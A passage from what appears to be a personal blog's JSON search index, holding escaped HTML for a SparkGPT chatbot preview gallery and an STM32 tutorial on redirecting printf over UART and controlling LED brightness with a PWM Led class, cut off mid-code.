https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_add_hu8d9c1abd7b76c69a4f57521c2565bb16_195901_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 添加新的预设 \" class=\"gallery-image\" data-flex-grow=\"217\" data-flex-basis=\"520px\"/\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_del.png\" width=\"646\" height=\"304\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_del_hu0c533b535e009a9a041576f870965eb8_279579_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_del_hu0c533b535e009a9a041576f870965eb8_279579_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 删除一个预设 \" class=\"gallery-image\" data-flex-grow=\"212\" data-flex-basis=\"510px\"/\u003e\u003c/p\u003e\n\u003ch2 id=\"指令\"\u003e指令\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_list.png\" width=\"658\" height=\"309\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_list_hudf42e09201443fce7f9a642b48866969_274942_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_list_hudf42e09201443fce7f9a642b48866969_274942_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 获取所有指令缩略信息 \" class=\"gallery-image\" data-flex-grow=\"212\" data-flex-basis=\"511px\"/\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_show.png\" width=\"636\" height=\"541\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_show_huaa6fe30c97db4a6fbb3f7b189f90ba8e_310978_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_show_huaa6fe30c97db4a6fbb3f7b189f90ba8e_310978_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 查看某个指令 \" class=\"gallery-image\" data-flex-grow=\"117\" data-flex-basis=\"282px\"/\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_add.png\" width=\"654\" height=\"315\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_add_hucf6b8b789b7e075a413aee63eed81613_210970_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_add_hucf6b8b789b7e075a413aee63eed81613_210970_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 添加新的指令 \" class=\"gallery-image\" data-flex-grow=\"207\" data-flex-basis=\"498px\"/\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_del.png\" width=\"649\" height=\"292\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_del_hu4ae45de794030bbc9548e0c4cd8cbc9e_260364_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_del_hu4ae45de794030bbc9548e0c4cd8cbc9e_260364_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" alt=\" 删除一个指令 \" class=\"gallery-image\" data-flex-grow=\"222\" data-flex-basis=\"533px\"/\u003e\u003c/p\u003e\n\u003ch2 id=\"群二维码\"\u003e群二维码\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/qrcode.png\" width=\"1284\" height=\"2283\" srcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/qrcode_hu51b203c4463a8d8fd4df1bc6f83211bb_239525_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/qrcode_hu51b203c4463a8d8fd4df1bc6f83211bb_239525_1024x0_resize_box_3.png 1024w\" loading=\"lazy\" class=\"gallery-image\" data-flex-grow=\"56\" data-flex-basis=\"134px\"/\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/"},{"title":"归档","time":"2022-03-06T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://canxin121.github.io/archives/"},{"title":"Led灯控制(Usart)","time":"0001-01-01T00:00:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"cpp中的重定向printf\"\u003eCPP中的重定向printf\u003c/h2\u003e\n\u003cp\u003ecpp不允许重定义 =\u0026gt; 不按照cpp规则编译即可\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e8\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eextern\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003efputc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eFILE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"led控制亮度--led-类\"\u003eLED控制亮度 =\u0026gt; LED 类\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 70\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 71\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 72\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 73\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 74\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 75\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 76\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 77\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 78\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 79\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 80\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 81\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 82\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 83\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 84\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 85\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 86\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 87\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 88\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 89\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 90\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 91\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 92\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 93\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 94\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 95\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 96\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 97\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 98\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 99\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e100\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e101\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e102\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e103\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e104\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e105\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e106\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e107\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e108\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e109\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e110\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e111\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e112\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e113\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e114\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e115\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e116\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e117\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e118\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e119\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e120\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e121\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e122\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e123\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e124\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e125\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e126\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e127\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e128\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e129\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e130\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e131\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e132\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e133\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e134\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e135\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e136\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e137\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e138\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e139\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e140\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e141\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e142\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e143\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eLed\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003e__htim__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__ch__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__max__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e255\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003e__diff__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eCrtTask\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eCrtBreathStatus\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecrt\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eLed\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTIM_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"kt\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__htim__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ehtim\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__ch__\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e~\u003c/span\u003e\u003cspan class=\"n\"\u003eLed\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_TIM_SET_COMPARE\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__htim__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003e__ch__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eset\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompare\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eelse\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ecompare\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003e__max__\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003e__max__\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecrt\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecompare\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003e__HAL_TIM_SetCompare\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003e__htim__\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003e__ch__\u003c/span\u003e\u003cspan 